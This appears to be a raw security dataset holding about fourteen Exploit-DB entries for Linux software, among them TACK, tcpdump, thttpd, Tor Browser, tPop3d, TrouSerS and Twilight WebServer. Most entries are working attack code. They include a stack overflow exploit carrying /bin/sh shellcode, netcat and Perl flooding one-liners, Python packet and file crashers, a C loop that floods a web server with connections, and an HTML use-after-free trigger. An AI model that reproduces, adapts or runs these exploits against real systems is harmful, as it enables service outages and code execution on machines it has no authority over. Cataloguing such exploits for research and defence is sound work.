deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38685
Description: TACK 1.07 - Local Stack Buffer Overflow
Type: dos
Platform: linux
Date: 2015-11-12
Author: Juan Sacco

Exploit:
# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
# Program: tack - Terminal action checker
# Tested on: GNU/Linux - Kali Linux 2.0 x86
#
# Description: TACK v1.07 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: *http://www.z <http://www.rastersoft.com/>nyx.com <http://nyx.com>*
# Kali Linux 2.0 package: pool/main/t/tack/tack_1.07-1_amd64.deb
# MD5: 0fc1d2e9c374c1156b2b02186a9f8980

import os,subprocess
def run():
  try:
    print "# TACK v1.07 Stack-Based Overflow by Juan Sacco"
    print "# It's Fuzzing time on unusable exploits"
    print "# This exploit is for educational purposes only"
    # Basic structure: JUNK + SHELLCODE + NOPS + EIP

    junk = "\x41"*10
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*3022
    eip = "\x30\xd1\xff\xbf"
    subprocess.call(["tack",'  ', junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "TACK not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Sorry, something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit TACK 1.07 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
Exploit-DB #22352
Description: TCPDump 3.6/3.7 - Malformed RADIUS Packet Denial of Service
Type: dos
Platform: linux
Date: 2003-03-14
Author: Bill Ralph

Exploit:
source: https://www.securityfocus.com/bid/7090/info

It has been reported that tcpdump is vulnerable to a denial of service when some packet types are received. By sending a maliciously formatted packet to a system using a vulnerable version of tcpdump, it is possible for a remote user to cause tcpdump to ignore network traffic from the time the packet is received until the application is terminated and restarted.

nc -u -p 1646 127.0.0.1 1301 < /dev/zero
Exploit-DB #23452
Description: Tcpdump 3.x - L2TP Parser Remote Denial of Service
Type: dos
Platform: linux
Date: 2003-12-20
Author: Przemyslaw Frasunek

Exploit:
source: https://www.securityfocus.com/bid/9263/info

A vulnerability has been reported to exist in the software that may allow a remote attacker to cause a denial of service condition in tcpdump. The issue presents itself when an attacker sends a maliciously formatted packet containing 0xff,0x02 bytes to UDP port 1701 of a system running a vulnerable version of tcpdump.

This issue is reported to affect tcpdump 3.7 and prior running on OpenBSD 3.3 and -current, however other versions on different platforms could be affected as well. 

tcpdump -i lo0 -n udp and dst port 1701 &
perl -e 'print "\xff\x02"' | nc -u localhost 1701

Example packet data has been provided by Balaram Amgoth <ramgoth@yahoo.com>:
char packet[] = "\x82\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
Exploit-DB #39875
Description: TCPDump 4.5.1 - Crash (PoC)
Type: dos
Platform: linux
Date: 2016-05-31
Author: David Silveiro

Exploit:
# Exploit Title: tcpdump 4.5.1 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro
# Vendor Homepage: http://www.tcpdump.org
# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
# Version: 4.5.1
# Tested on: Ubuntu 14 LTS

from subprocess import call
from shlex import split
from time import sleep


def crash():

    command = 'tcpdump -r crash'

    buffer     =   '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
    buffer     +=  '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
    buffer     +=  '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
    buffer     +=  '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
    buffer     +=  "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
    buffer     +=  "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
    buffer     +=  '\x00\x00\x00\x00\x01\x03\x03\x04'


    with open('crash', 'w+b') as file:
        file.write(buffer)

    try:
        call(split(command))
        print("Exploit successful!             ")

    except:
        print("Error: Something has gone wrong!")


def main():

    print("Author:   David Silveiro                           ")
    print("   tcpdump version 4.5.1 Access Violation Crash    ")

    sleep(2)

    crash()


if __name__ == "__main__":
    main()
Exploit-DB #16095
Description: Terminal Server Client - '.rdp' Denial of Service
Type: dos
Platform: linux
Date: 2011-02-02
Author: D3V!L FUCKER

Exploit:
#!/usr/bin/perl
# Exploit Title: [Terminal Server Client .rdp Dos ]
# Date: [2011-02-01]
# Author: [D3V!L FUCKER]
# Software Link: [sudo apt-get install tsclient] ^_^
# Version: [All Version]
# Tested on: [ubuntu 10.10]
##############################################################
#press to open then chois the T-T34M.rdp file then connect ^_^
#C0d3d By : SarBoT511 XD
print q(
  
4bdull4h@w.cn
               _
              | |
              | |===( )   //////
              |_|   |||  | o o|
                     ||| ( c  )                  ____
                      ||| \= /                  ||   \_
                       ||||||                   ||     |
                       ||||||                ...||__/|-"
                       ||||||             __|________|__
                         |||             |______________|
                         |||             || ||      || ||
                         |||             || ||      || ||
 ------------------------|||-------------||-||------||-||-------
                         |__>            || ||      || ||


      hit any key to continue
);
$headr1="alternate full switch:i:0
alternate shell:s:
attach to console:i:0
audiomode:i:0
auto connect:i:0
diskmapping:i:0
bitmapcachepersistenable:i:1\n";
$buffer="client hostname:s:"."A" x 500;
$headr2="compression:i:0
description:s:
desktop size id:i:1
desktopheight:i:0
desktopwidth:i:0
disable full window drag:i:0
disable menu anims:i:0
disable themes:i:0
disable wallpaper:i:0
displayconnectionbar:i:0
domain:s:
enable alternate shell:i:0
enable wm keys:i:0
full address:s:127.0.0.1
hide wm decorations:i:0
keyboard language:s:
keyboardhook:i:0
no motion events:i:0
password:b:
password 51:b:
progman group:s:
protocol:i:0
protocol file:s:
redirectcomports:i:0
redirectdrives:i:0
redirectprinters:i:0
redirectsmartcards:i:0
screen mode id:i:1
session bpp:i:0
shell working directory:s:
username:s:
winposstr:s:";
open (myfile,'>>T-T34M.rdp');
print myfile $headr1.$buffer.$headr2;
close(myfile);
Exploit-DB #23305
Description: thttpd 2.2x - 'defang' Remote Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2003-10-27
Author: Joel Soderberg

Exploit:
/*
source: https://www.securityfocus.com/bid/8906/info

A vulnerability has been reported in thttpd that may allow a remote attacker to execute arbitrary code on vulnerable host. The issue is reported to exist due to a lack of bounds checking by software, leading to a buffer overflow condition. The problem is reported to exist in the defang() function in libhttpd.c.

This issue may allow an attacker to gain unauthorized access to a vulnerable host. Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the web server in order to gain unauthorized access to a vulnerable system.

thttpd versions 2.21 to 2.23b1 have been reported to be prone to this issue, however other versions may be affected as well. 
*/

static void
defang( char* str, char* dfstr, int dfsize )
{
    char* cp1;
    char* cp2;

    for ( cp1 = str, cp2 = dfstr;
   *cp1 != '\0' && cp2 - dfstr < dfsize - 1;
   ++cp1, ++cp2 )
     {
     switch ( *cp1 )
         {
         case '<':
         *cp2++ = '&';
         *cp2++ = 'l';
         *cp2++ = 't';
         *cp2 = ';';
         break;
         case '>':
         *cp2++ = '&';
         *cp2++ = 'g';
         *cp2++ = 't';
         *cp2 = ';';
         break;
         default:
         *cp2 = *cp1;
         break;
         }
     }
    *cp2 = '\0';
}
Exploit-DB #27581
Description: Tony Cook Imager 0.4x - '.JPEG' / '.TGA' Images Denial of Service
Type: dos
Platform: linux
Date: 2006-04-07
Author: Kjetil Kjernsmo

Exploit:
source: https://www.securityfocus.com/bid/17415/info

The Perl Imager module is susceptible to a denial-of-service vulnerability. This issue is due to a failure of the software to properly handle unexpected image data.

Malformed image files may cause a crash in applications that use the affected Perl module, resulting in a denial-of-service condition.

Sample Perl code sufficient to demonstrate this issue is available:

perl -MImager -e 'my $im = Imager->new(xsize => 100, ysize=>100, channels => 4); $im->write(data=>\$foo, type=>"jpeg")'
Exploit-DB #44994
Description: Tor Browser < 0.3.2.10 - Use After Free (PoC)
Type: dos
Platform: linux
Date: 2018-07-09
Author: t4rkd3vilz

Exploit:
# Exploit Title: Tor Browser - Use After Free (PoC)
# Date: 09.07.2018
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://www.torproject.org/ 
# Software Link: https://www.torproject.org/download/download-easy.html.en
# Version: Tor 0.3.2.x before 0.3.2.10
# Tested on: Kali Linux
# CVE : CVE-2018-0491

#Run exploit, result DOS


<!DOCTYPE html>
<html>
<title>veryhandsome jameel naboo</title>
<body>
<script>
function send()
{
try { document.body.contentEditable = 'true'; } catch(e){}
try { var e0 = document.createElement("frameset"); } catch(e){}
try { document.body.appendChild(e0); } catch(e){}
try { e0.appendChild(document.createElement("BBBBBBBBBBBBBBB")); } catch(e){}
try {
e0.addEventListener("DOMAttrModified",function(){document.execCommand("SelectAll");e0['bo
rder']='[PII_REDACTED]';}, false); e0.focus();} catch(e){}
try { e0.setAttribute('iframe'); } catch(e){}
try { document.body.insertBefore(e0); } catch(e){}
}
send();</script></html>
Exploit-DB #18457
Description: torrent-stats - 'httpd.c' Denial of Service
Type: dos
Platform: linux
Date: 2012-02-03
Author: otr

Exploit:
#!/usr/bin/python
import socket, urllib, sys
host = 'localhost'
port = 8080
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

print 'Sending GET request'

# size = sys.argv[1]
# Crash at A * 16378
size = 16379

# DOS #1: gdb trace for buffer1
#Program received signal SIGSEGV, Segmentation fault.
#--------------------------------------------------------------------------[regs]
#  EAX: 0x00000000  EBX: 0x08051258  ECX: 0x00000000  EDX: 0x20202020  o d I t s Z a P c 
#  ESI: 0x080537BC  EDI: 0x080537B8  EBP: 0xBFFFF2E8  ESP: 0xBFFFF2B0  EIP: 0x0804AF72
#  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
#--------------------------------------------------------------------------[code]
#=> 0x804af72 <httpd_content_handler+306>:	movb   $0x0,(%eax)
#   0x804af75 <httpd_content_handler+309>:	mov    0x20(%ebx),%edx
#   0x804af78 <httpd_content_handler+312>:	add    $0x1,%eax
#   0x804af7b <httpd_content_handler+315>:	mov    %eax,(%edx)
#   0x804af7d <httpd_content_handler+317>:	mov    -0x1c(%ebp),%eax
#   0x804af80 <httpd_content_handler+320>:	movzbl 0x1(%eax),%edx
#   0x804af84 <httpd_content_handler+324>:	test   %dl,%dl
#   0x804af86 <httpd_content_handler+326>:	je     0x804b12e <httpd_content_handler+750>
#--------------------------------------------------------------------------------
#parse_args (fd=0x9, privdata=0x8051258) at httpd.c:106
#106		*tmp++ = '\0';
buffer1 = "/" + "A" * int(size)

# DOS #2 : gdb trace for the buffer2
# *** glibc detected *** /root/torrent-stats/torrent-stats: munmap_chunk(): invalid pointer: 0x080537b8 ***
# *** glibc detected *** /root/torrent-stats/torrent-stats: malloc(): memory corruption: 0x080512c8 ***
#gdb$ backtrace
#0  0xb7fe2430 in __kernel_vsyscall ()
#1  0xb7e9b651 in raise () from /lib/tls/i686/cmov/libc.so.6
#2  0xb7e9ea82 in abort () from /lib/tls/i686/cmov/libc.so.6
#3  0xb7ed249d in ?? () from /lib/tls/i686/cmov/libc.so.6
#4  0xb7edc591 in ?? () from /lib/tls/i686/cmov/libc.so.6
#5  0xb7edf395 in ?? () from /lib/tls/i686/cmov/libc.so.6
#6  0xb7ee0f9c in malloc () from /lib/tls/i686/cmov/libc.so.6
#7  0xb7ed2437 in ?? () from /lib/tls/i686/cmov/libc.so.6
#8  0xb7edc591 in ?? () from /lib/tls/i686/cmov/libc.so.6
#9  0xb7edd80e in ?? () from /lib/tls/i686/cmov/libc.so.6
#10 0x0804ad26 in destroy_httpd_con (con=0xb7fc6ff4) at httpd.c:43
#11 0x0804b0df in httpd_content_handler (fd=0x9, privdata=0x8051258) at httpd.c:193
#12 0x0804a7a0 in event_loop () at event.c:303
#13 0x0804d237 in main (argc=0x2, argv=0xbffff474) at torrent-stats.c:124
buffer2 = "/" + "? " * int(size) + "?"

buffer = buffer2
s.send('GET ' + buffer + ' HTTP/1.1\r\nHost: ' + host + '\r\n\r\n')
print s.recv(8192) + s.recv(8192)
Exploit-DB #23427
Description: Totem Movie Player 3.4.3 (Ubuntu) - Stack Corruption
Type: dos
Platform: linux
Date: 2012-12-16
Author: coolkaveh

Exploit:
Title    :  Totem movie player(Ubuntu)stack corruption
Version  :  3.4.3 GStreamer 0.10.36
Date     :  2012-12-15
Vendor   :  http://projects.gnome.org/totem/index.html
Impact   :  Med/High
Contact  :  coolkaveh [at] rocketmail.com
Twitter  :  @coolkaveh
tested   :  Ubuntu 12.10 desktop 32 bit
Author   :  coolkaveh
################################################################################################
Totem is the official movie player of the GNOME desktop environment based on 
GStreamer and its ubuntu default movie player
###############################################################################################
Bug :
----
The vulnerability cause a stack corruption (division by zero) via a specially crafted Avi files
That will trigger a denial of service condition
---- 
###############################################################################################
Program received signal SIGFPE, Arithmetic exception.
[Switching to Thread 0xafe89b40 (LWP 21171)]
0xaf625080 in gst_riff_create_audio_caps () from /usr/lib/i386-linux-gnu/libgstriff-0.10.so.0
process 21159
0xaf62507b <+1883>:    mov    edx,eax
0xaf62507d <+1885>:    sar    edx,0x1f
=> 0xaf625080 <+1888>: idiv   edi
0xaf625082 <+1890>:    mov    esi,eax
0xaf625084 <+1892>:    movzx  eax,WORD PTR [ecx+0xe]
0xaf625088 <+1896>:    cmp    ax,0x20
 
eax            0x20  32
ecx            0x805cbf80   [PII_REDACTED]
edx            0x0  0
ebx            0xaf62cff4   [PII_REDACTED]
esp            0xafe88de0   0xafe88de0
ebp            0xafe88f1c   0xafe88f1c
esi            0x805832c0   [PII_REDACTED]
edi            0x0  0
eip            0xaf625080   0xaf625080 <gst_riff_create_audio_caps+1888>
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
 
si_addr:$2 = (void *) 0xaf625080 <gst_riff_create_audio_caps+1888>
#0  0xaf625080 in gst_riff_create_audio_caps () from /usr/lib/i386-linux-gnu/libgstriff-0.10.so.0
 
##################################################################################################
Proof of concept included.

http://www41.zippyshare.com/v/13083235/file.html 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23427.rar
Exploit-DB #11893
Description: tPop3d 1.5.3 - Denial of Service
Type: dos
Platform: linux
Date: 2010-03-26
Author: OrderZero

Exploit:
# Exploit Title: tPop3d 1.5.3 DoS
# Date: 3/26/10
# Author: OrderZero
# Software Link: http://www.ex-parrot.com/~chris/tpop3d/
# Download: http://www.ex-parrot.com/~chris/tpop3d/tpop3d-1.5.3.tar.gz
# Version: 1.5.3
# Debug:
Starting program: /usr/local/sbin/tpop3d -d
listener_new: gethostbyaddr(0.0.0.0): cannot resolve name
listener_new: 0.0.0.0:110<http://0.0.0.0:110>: cannot obtain domain suffix for this address
listener_new: 0.0.0.0:110<http://0.0.0.0:110>: using fallback domain suffix `bt'
parse_listeners: listening on address 0.0.0.0:110<http://0.0.0.0:110>
1 authentication drivers successfully loaded
net_loop: tpop3d version 1.5.3 successfully started
listeners_post_select: client [7]192.168.1.146/bt<http://192.168.1.146/bt>: connected to local address 192.168.1.139:110<http://192.168.1.139:110>
Program received signal SIGSEGV, Segmentation fault.
0x0804b969 in buffer_consume_to_mark (B=0x8ef4ef0, mark=0x80572af "\n",
mlen=1, str=0x0, slen=0x805a440) at buffer.c:153
153 for (k = (int)mlen - 1; k < (int)a; k += skip[(unsigned char)mark[k]]) {


#exploit:
perl -e 'printf "a"x999999' | nc target 110
Exploit-DB #20750
Description: Trend Micro Interscan VirusWall (Linux) 3.0.1 - Multiple Program Buffer Overflows
Type: dos
Platform: linux
Date: 2001-04-13
Author: eeye security

Exploit:
source: https://www.securityfocus.com/bid/2579/info

Interscan Viruswall is a Virus scanning software package distributed and maintained by Trend Micro. It is designed to scan for virus occurances in both incoming and outgoing traffic via SMTP, FTP, and HTTP at the gateway of the network.

A problem with the software package could lead elevated privileges on the scanning system. The management interface used with the Interscan Viruswall uses several programs in a cgi directory that contain buffer overflows. Additionally, the http daemon used to execute these programs runs as root, and does not sufficiently control access to the programs, allowing a user to execute them directly.

Therefore, it is possible for a remote user to exploit buffer overflows in the cgi programs packaged with Interscan Viruswall, and execute arbitrary commands are root on the system hosting Viruswall. 

http://server:1812/catinfo?4500xA
Exploit-DB #22904
Description: TrouSerS - Denial of Service
Type: dos
Platform: linux
Date: 2012-11-23
Author: Andy Lutomirski

Exploit:
# crash_tcsd.py
# Copyright (c) 2012 Andy Lutomirski.  All rights reserved.
#
# Permission is granted to anyone to copy and redistribute this file verbatim.
# Permission is *not* granted to distribute modified copies or derivative works.

import struct
import socket
import time

# UnloadBlob_PCR_EVENT also appears buggy.

crasher = struct.pack('>IIIIIII',
                      28, # packet_size = sizeof(tcsd_packet_hdr)
                      11, # ordinal: LoadKeyByBlob
                      1, # num_parms = 1 (so first getData doesn't bail)
                      0, # type_size = 0
                      0x80000000, # type_offset is off in lala land
                      0, # parm_size = 0 (skip checking)
                      28, # parm_offset: see getTCSDPacket
                      )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
s.connect(('127.0.0.1', 30003))
s.send(crasher)
s.shutdown(socket.SHUT_WR)
s.close()
Exploit-DB #22897
Description: Twilight WebServer 1.3.3.0 - GET Buffer Overflow
Type: dos
Platform: linux
Date: 2003-07-07
Author: posidron

Exploit:
// source: https://www.securityfocus.com/bid/8181/info

It has been reported that Twilight WebServer may be prone to a remote buffer overflow vulnerability. The problem may be present due to a lack of bounds checking performed on incoming GET requests. Arbitrary code execution may be possible.

/****************************************************************************
*       Title: Denial of Service Attack against Twilight Webserver v1.3.3.0
*       Author: posidron
*
*       Date: 2003-07-07
*       Reference: http://www.twilightutilities.com
*       Version: Twilight Webserver v1.3.3.0
*       Related Info: http://www.tripbit.org/advisories/twilight_advisory.txt
*
*       Exploit: twilight.c
*       Compile: gcc twilight -o twilight
*
*       Tripbit Security Development
*
*       Contact
*       [-] Mail: posidron@tripbit.org
*       [-] Web: http://www.tripbit.org
*       [-] IRC: irc.euirc.net 6667 #tripbit
*
*       Program received signal SIGSEGV, Segmentation fault.
*       0x41d780 in ?? ()
*****************************************************************************/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h> 

int main(int argc, char *argv[])
{
        int sockfd;
        struct sockaddr_in srv;
        struct hostent *host;  
        char send[1052], *flood[1037], get[3] = "GET", http[12] = "HTTP/1.0\r\n";

        memset(flood, 0x41, 1037);

        strncpy(send, get, sizeof(send) -1);
        strncat(send, flood, sizeof(send) - strlen(send) -1);
        strncat(send, http, sizeof(send) - strlen(send) -1); 

        if(argc < 3)
        {
                printf("Usage: %s [target] <port>\n", argv[0]);
                exit(0); 
        }
         
        if((host = gethostbyname(argv[1])) == NULL)
        {
                printf("Unknown host!\n");
                exit(0);
        }
         
        srv.sin_family = AF_INET;
        srv.sin_port = htons(atoi(argv[2]));
        srv.sin_addr.s_addr = inet_addr((char*)argv[1]);

        printf("DoS against Twilight Webserver v1.3.3.0\n");  

        for(;;)
        {
                if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
                {
                        printf("Can't start socket()!\n"); exit(0);
                }
                 
                if(connect(sockfd,(struct sockaddr*)&srv, sizeof(srv)) < 0)
                {
                        printf("Connection to server broken!\n"); close(sockfd);
                }

                if(write(sockfd, send, strlen(send)) < 0)
                {
                        break;
                }

                close(sockfd);
        }

        printf("Attack done!...\n");

        return 0;
}